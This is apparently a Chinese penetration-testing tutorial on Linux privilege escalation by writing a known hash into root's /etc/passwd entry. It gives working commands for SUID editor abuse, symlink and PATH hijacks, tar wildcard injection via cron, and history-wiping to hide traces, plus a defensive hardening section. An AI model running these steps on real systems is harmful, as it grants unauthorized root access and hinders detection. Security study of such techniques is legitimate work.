Linux权限提升实战:利用替代密码机制从低权限到Root
1. 项目概述从“替代密码”到权限的跨越在渗透测试和红队评估的实战中Linux权限提升Privilege Escalation往往是突破内网、获取关键资产控制权的核心环节。我们常常花费大量时间枚举SUID文件、内核漏洞、定时任务却容易忽略那些“安静”地躺在系统配置文件里的机会。今天要聊的这个技巧就属于这种“安静”但极其有效的类型——利用替代密码Alternate Password实现提权。简单来说Linux系统除了我们熟知的/etc/shadow文件存储用户密码哈希外还存在其他几种认证机制。其中/etc/passwd文件在历史上就曾直接存储密码虽然现在通常只放一个占位符x而/etc/shadow则是更安全的密码存储位置。但系统为了兼容古老的程序或特定的配置有时会允许使用/etc/passwd文件中的密码字段进行认证这就是所谓的“替代密码”或“第二密码”。如果一个低权限用户能够向/etc/passwd文件中某个高权限用户如root的记录行写入一个已知的密码哈希那么他就可以直接用这个密码切换到该高权限用户。这听起来像是系统配置错误或管理员疏忽留下的后门但在某些老旧系统、特定发行版默认配置或配置了特定PAM可插拔认证模块模块的环境中它确实可能存在。对于OSCP这类注重基础和实战的认证考试以及日常的渗透测试掌握这种手法意味着你多了一种绕过常规防御、直击核心的武器。它不依赖于复杂的漏洞利用纯粹是配置审计和权限滥用的结果非常适合在信息收集阶段发现蛛丝马迹后快速尝试。2. 核心原理与前置知识拆解要理解并成功利用替代密码提权我们需要先厘清几个关键概念和Linux认证的基本流程。2.1 Linux用户认证的演进从passwd到shadow早期的Unix系统将用户的基本信息和加密后的密码都存放在/etc/passwd文件中。每一行代表一个用户字段由冒号分隔例如root:x:0:0:root:/root:/bin/bash第二个字段就是密码字段。最初这里存放的是经过DES加密的密码哈希。然而/etc/passwd文件需要对所有用户可读因为许多工具需要读取用户ID、家目录等信息这就导致密码哈希暴露在众目睽睽之下易于被暴力破解。为了提高安全性现代Linux系统引入了影子密码机制。密码哈希被转移到了/etc/shadow文件该文件只有root用户可读。相应地/etc/passwd文件中的密码字段被一个占位符x替代表示真正的密码哈希在/etc/shadow中。认证时系统会检查/etc/passwd的第二个字段如果是x则去/etc/shadow查找对应哈希进行验证。如果是其他字符一个有效的密码哈希则直接使用这个哈希进行验证而不会去查询/etc/shadow。这个“其他字符”就是我们的突破口。如果我们在root用户的密码字段第二个字段写入一个我们已知明文密码的哈希那么我们就可以用这个密码切换到root。2.2 PAM配置与认证源Linux的认证过程主要由PAM模块控制。PAM的配置文件通常位于/etc/pam.d/目录下例如common-auth,system-auth,su,login等。这些配置文件定义了认证的堆栈stack即按顺序调用哪些模块来验证用户。关键点在于pam_unix.so模块。这个模块负责传统的Unix密码认证。它的一个参数use_authtok和认证源有关但更直接相关的是它的默认行为它会同时检查/etc/passwd和/etc/shadow。具体逻辑是如果/etc/passwd中用户的密码字段不是x则尝试用该字段的哈希进行认证。如果是x则转而使用/etc/shadow中的哈希。因此只要PAM配置中包含了pam_unix.so模块这几乎是标配并且我们没有通过其他模块参数显式禁用对/etc/passwd的检查那么写入/etc/passwd的替代密码就是有效的。2.3 提权路径的逻辑闭环整个利用链条可以概括为以下几步信息收集与漏洞发现通过低权限shell发现我们对/etc/passwd文件有写权限或者发现某个具有SUID权限的命令/脚本可以间接修改它。哈希生成选择一个我们知道的明文密码使用系统相同的加密算法如SHA-512生成其密码哈希。哈希注入将生成的哈希值覆盖目标高权限用户首选root在/etc/passwd文件中的密码字段第二个字段。权限切换使用我们设定的明文密码通过su、login或ssh等方式认证并切换到高权限用户。这个链条的核心前提是对/etc/passwd文件的写权限。获得这个权限的方式就是我们接下来要深入探讨的重点。3. 攻击面枚举如何获得/etc/passwd的写权限一个低权限用户通常无法直接修改/etc/passwd。我们需要寻找系统配置、权限设置或程序逻辑上的缺陷。以下是几种常见的场景。3.1 文件权限配置错误这是最直接的情况。使用ls -la /etc/passwd命令检查文件权限。-rw-r--r-- 1 root root 1641 May 10 10:00 /etc/passwd正常的权限应该是-rw-r--r--即root可读写其他用户只读。 如果发现权限是-rw-rw-rw-所有用户可写或者你的当前用户属于文件所属组且组权限是rw-那么你就可以直接编辑它。实操心得在自动化枚举脚本中我通常会这样快速检查find /etc -name passwd -type f \( -perm -ow -o -perm -gw \) 2/dev/null这条命令会查找/etc目录下名为passwd的普通文件并且其权限是“其他用户可写(ow)”或“同组用户可写(gw)”。虽然/etc/passwd通常就在/etc下但这样写更通用。3.2 利用具有SUID权限的编辑器或命令某些命令如果设置了SUID位并且以root身份运行那么通过它们就有可能修改root拥有的文件。vim/vi/nano如果这些编辑器有SUID位你可以在其中打开/etc/passwd并修改。检查命令find / -type f -perm -us -name \vim\ 2/dev/null。ed/ex一些更古老的行编辑器。自定义脚本或程序管理员可能写了一些用于管理用户的脚本并错误地设置了SUID。用find / -type f -perm -us 2/dev/null列出所有SUID文件然后逐一分析其功能。利用示例以SUID的vim为例# 1. 检查vim是否SUID且属于root ls -la /usr/bin/vim # 如果显示 -rwsr-xr-x 1 root root ... 则可以利用 # 2. 使用vim打开/etc/passwd /usr/bin/vim /etc/passwd # 3. 在vim内找到root行替换密码字段 # 原始行root:x:0:0:root:/root:/bin/bash # 修改为root:$6$salt$hashed_password:0:0:root:/root:/bin/bash # 然后保存退出(:wq)注意事项现代系统对SUID的管理比较严格常见的编辑器很少默认带SUID。但在一些容器环境、老旧系统或特定配置的生产环境中仍有可能遇到。3.3 利用符号链接Symlink攻击如果存在一个以root权限运行的程序或定时任务cron job它会向一个由我们控制路径的文件写入内容我们就可以通过符号链接将其指向/etc/passwd。典型场景有一个定时任务每分钟以root身份执行echo \some log\ /var/log/app.log我们发现/var/log/app.log不存在或者我们有权限删除/移动它。我们删除或移动原来的app.log然后创建一个指向/etc/passwd的符号链接rm /var/log/app.log ln -s /etc/passwd /var/log/app.log当下一次定时任务执行时“some log”就会被追加到/etc/passwd文件的末尾这通常会破坏文件格式导致系统问题但如果我们精心构造写入的内容就有可能添加一个我们控制密码的新用户。这种方法更常用于添加用户而非直接修改root密码因为向/etc/passwd追加一行比修改其中一行中间的内容更容易实现。3.4 利用不安全的备份或副本有时管理员会创建/etc/passwd的备份文件如/etc/passwd.bak,/tmp/passwd.bak等并且这些备份文件的权限设置可能更宽松。如果我们能修改备份文件并且在某个时刻如系统恢复脚本执行时该备份文件会覆盖原始的/etc/passwd那么也能达到目的。这需要结合对系统流程更深入的了解。4. 实操过程从哈希生成到Root Shell假设我们已经通过某种方式例如发现/etc/passwd全局可写获得了修改权限。接下来是具体的操作步骤。4.1 步骤一生成一个可靠的密码哈希我们不能直接把明文密码写进去必须写入其加密后的哈希值。Linux系统使用crypt(3)函数进行密码加密。我们可以使用openssl或mkpasswd命令来生成。方法A使用openssl(推荐)# 生成SHA-512加密的哈希这是现代Linux的默认方式 openssl passwd -6 -salt $(openssl rand -base64 6) YourPasswordHere-6指定使用SHA-512算法。-salt后面跟盐值。盐值应该随机生成以增强安全性这里用openssl rand -base64 6生成一个随机的Base64字符串作为盐。盐值会包含在最终的哈希字符串中。YourPasswordHere替换为你想要设置的密码。执行后你会得到一个类似这样的字符串$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l这个字符串就是我们要写入/etc/passwd的密码字段。它由三部分组成以$分隔$6表示算法SHA-512$RANDOMSALT是盐值后面一长串才是真正的哈希。方法B使用mkpasswd(部分发行版需要安装whois包)mkpasswd -m sha-512 YourPasswordHere $(openssl rand -base64 6)输出格式与openssl类似。重要提示务必记录下你使用的盐值和密码。因为最终认证时你需要输入明文密码系统会用相同的盐值对输入的密码进行哈希计算然后与存储的哈希比对。4.2 步骤二编辑/etc/passwd文件警告操作前务必备份错误的编辑可能导致所有用户无法登录。cp /etc/passwd /tmp/passwd.backup现在使用你有写权限的方式编辑文件。如果是直接文件可写可以用vi、nano或者sed。# 使用sed命令直接替换root行的密码字段 # 假设生成的哈希是$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l # 原始行root:x:0:0:root:/root:/bin/bash # 方法1使用sed进行原地编辑-i参数 sudo sed -i s/^root:x:/root:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l:/ /etc/passwd # 方法2手动编辑更安全便于检查 # 先复制一份到临时位置编辑 cp /etc/passwd /tmp/passwd.tmp vi /tmp/passwd.tmp # 在vi中找到root行将 x 替换为完整的哈希字符串保存退出。 # 检查无误后覆盖原文件 cat /tmp/passwd.tmp /etc/passwd编辑后的root行应该看起来像这样root:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l:0:0:root:/root:/bin/bash4.3 步骤三验证与切换权限编辑完成后最安全的验证方法是开启一个新的会话。本地切换如果你有物理终端或图形界面直接切换到另一个TTY如CtrlAltF2在登录提示符处输入root和你设置的密码。使用su命令在当前shell中尝试切换。su root # 或者 su -输入你设置的密码。如果成功提示符会变成#。使用ssh如果SSH服务正在运行可以从另一台机器尝试登录。ssh root靶机IP成功的关键标志不再需要原来的root密码或者原来就没有密码使用你新设置的密码即可成功认证。4.4 步骤四善后与痕迹清理可选在渗透测试中获取权限后通常需要清理痕迹。但对于这种修改恢复原状可能更好以免影响系统稳定性或引起管理员警觉。恢复/etc/passwd将备份的文件复制回来。cp /tmp/passwd.backup /etc/passwd清除命令历史清除当前用户和root用户的命令历史。# 清除当前用户历史 history -c history -w # 如果是bash也可以清空文件 echo ~/.bash_history # 清除root历史如果你已经切换 echo /root/.bash_history修改文件时间戳使用touch命令将/etc/passwd的时间戳改回接近其他系统文件的时间但这在专业的取证面前作用有限。实操心得在真实的评估中我倾向于在修改后立即完成目标如抓取哈希、查看敏感文件然后迅速恢复/etc/passwd。长时间保留这种修改风险很高因为任何用户管理操作如useradd或系统审计都可能发现异常。5. 防御措施与管理员视角了解了攻击手法从防御和系统加固的角度我们应该如何做5.1 严格的文件权限管理这是最根本的防御。确保/etc/passwd和/etc/shadow的权限正确无误。# 正确的权限设置 chmod 644 /etc/passwd # -rw-r--r-- chmod 000 /etc/shadow # ---------- (某些系统是400或600) chown root:root /etc/passwd /etc/shadow定期使用类似lynis、tripwire或aide等完整性检查工具监控这些关键文件的变化。5.2 审计SUID/SGID文件定期审查系统上的SUID/SGID文件移除不必要的特权程序。# 查找所有SUID文件 find / -type f -perm -4000 -ls 2/dev/null # 查找所有SGID文件 find / -type f -perm -2000 -ls 2/dev/null对于像vim,nano,ed,more,less等编辑器或查看器绝对不应该设置SUID位。如果发现应立即移除chmod u-s /path/to/file。5.3 配置PAM强化认证虽然默认的pam_unix.so会检查/etc/passwd但我们可以通过配置来强化策略。不过更常见的做法是依赖文件系统权限作为主要防线PAM配置作为深度防御。可以研究pam_wheel.so限制su到root的用户、pam_tally2.so失败登录锁定等模块来增加攻击难度。5.4 使用集中化认证对于企业环境考虑使用LDAP、Kerberos或FreeIPA等集中化认证系统。这样本地/etc/passwd和/etc/shadow文件中的用户将大大减少甚至只有系统账户从而缩小了攻击面。5.5 定期安全审计与渗透测试主动进行安全审计和渗透测试包括授权下的内部提权测试是发现此类配置问题的最佳方式。使用像LinPEAS、LinuxSmartEnumeration、LES (Linux Exploit Suggester)这样的自动化枚举脚本可以快速发现文件权限问题、可疑的SUID文件等。6. 拓展场景与组合利用替代密码提权很少是独立存在的它往往与其他漏洞或错误配置结合形成攻击链。6.1 结合路径注入PATH Manipulation假设我们发现一个以root权限运行的SUID脚本它内部调用了vim但没有使用绝对路径/usr/bin/vim。那么我们可以通过控制PATH环境变量让我们自己的恶意脚本被当作vim执行。在我们的恶意脚本中就可以包含修改/etc/passwd的代码。示例恶意脚本 (/tmp/evil_vim):#!/bin/bash # 这是一个伪装成vim的脚本 # 首先执行我们真正的提权操作 echo \root:$6$salt$hashed_password:0:0:root:/root:/bin/bash\ /etc/passwd 2/dev/null # 然后为了不引起怀疑可以调用真正的vim如果存在的话 /usr/bin/vim \$\然后设置PATH并执行SUID脚本export PATH/tmp:$PATH # 执行那个SUID脚本它会调用‘vim’实际执行了我们的/tmp/evil_vim6.2 结合通配符注入Wildcard Injection如果有一个root权限的cron job或脚本使用了tar或chown等命令并且参数中包含了通配符*而我们可以控制当前目录下的文件名就可能实现注入。例如一个备份脚本tar -czf /backup/backup.tar.gz *如果我们在该目录下创建一个名为--checkpoint1和--checkpoint-actionexecsh shell.sh的文件那么当tar命令执行时这些文件名会被当作参数解析从而执行我们的shell.sh。在shell.sh中我们就可以尝试修改/etc/passwd。6.3 在Docker容器内的特殊考量在Docker容器中情况略有不同。很多容器以root用户运行但并没有完整的Linux用户体系。/etc/passwd文件可能很简单。然而如果容器需要与宿主机共享卷volume并且挂载了宿主机的/etc/passwd那么在容器内修改该文件就会直接影响宿主机这是一个非常危险的权限提升路径容器逃逸。防御方法是避免将敏感的宿主机目录挂载到容器中或者以只读方式挂载。7. 自动化枚举与工具使用手动枚举效率低下实战中我们依赖工具。这里介绍如何用常见的枚举脚本发现此类漏洞。7.1 使用LinPEAS进行快速枚举LinPEAS是最强大的Linux本地提权枚举脚本之一。它会自动检查/etc/passwd和/etc/shadow的文件权限。所有SUID/SGID文件。可写的系统路径、cron jobs、服务、进程等。运行方式# 下载并执行 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # 或者先下载再执行 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod x linpeas.sh ./linpeas.sh在输出中重点关注以下部分[] World-writable files (not in Docker or systemd)这里可能会列出/etc/passwd。[] SUID - Check easy privesc, exploits and write perms检查可疑的SUID文件。[] Files with ACLs (limited to 50)访问控制列表异常的文件。7.2 手动检查命令备忘单如果无法运行外部脚本以下命令组合是一个精简的检查清单# 1. 检查/etc/passwd权限 ls -la /etc/passwd # 2. 检查所有可写文件 find /etc -type f -writable 2/dev/null | grep -v \/proc/\ # 3. 检查SUID文件 find / -type f -perm -us -ls 2/dev/null | head -20 # 4. 检查以root运行的cron jobs cat /etc/crontab ls -la /etc/cron.*/ crontab -l 2/dev/null # 5. 检查系统进程和网络连接 ps aux | grep root netstat -tulpn8. 从理论到实战一个模拟案例让我们串联起所有知识点模拟一个完整的攻击场景。场景设定 你通过一个Web应用漏洞获得了www-data用户的低权限shell。初步信息收集发现这是一个Ubuntu 18.04系统。攻击流程初步枚举id # uid33(www-data) gid33(www-data) groups33(www-data) ls -la /etc/passwd # -rw-r--r-- 1 root root 1641 ... # 正常不可写 find / -type f -perm -us -ls 2/dev/null | grep -E \(vim|vi|nano|ed|ex)\ # 无结果深入枚举使用linpeas.sh或手动检查cron。cat /etc/crontab发现一行* * * * * root /opt/scripts/backup_log.sh分析Cron Jobls -la /opt/scripts/backup_log.sh # -rwxr-xr-x 1 root root 89 ... cat /opt/scripts/backup_log.sh脚本内容#!/bin/bash cd /var/log/myapp tar -czf /backups/$(date %s).tar.gz *.log发现漏洞脚本在/var/log/myapp目录下执行使用通配符*.log并且该目录www-data用户可写因为Web应用写日志。ls -la /var/log/myapp # drwxrwx-wx 2 root www-data 4096 ... # www-data有写权限构造攻击利用tar的通配符注入漏洞。cd /var/log/myapp # 创建注入文件 echo \#!/bin/bash\ shell.sh echo \openssl passwd -6 -salt mysalt mynewrootpass /tmp/hash.txt\ shell.sh echo \HASH$(cat /tmp/hash.txt)\ shell.sh echo \sed -i \\\s/^root:x:/root:$HASH:/\\\ /etc/passwd\ shell.sh chmod x shell.sh # 创建触发tar执行shell.sh的文件 touch -- \--checkpoint1\ touch -- \--checkpoint-actionexecsh shell.sh\ # 创建一个.log文件以满足通配符匹配 touch exploit.log等待与验证等待下一分钟cron执行。执行后检查/etc/passwd中root行的密码字段是否已被修改。提权使用密码mynewrootpass执行su root。这个案例展示了如何将替代密码提权与其他漏洞通配符注入结合形成一条完整的攻击链。关键在于敏锐地发现配置缺陷和逻辑漏洞并将其转化为对关键文件的写权限。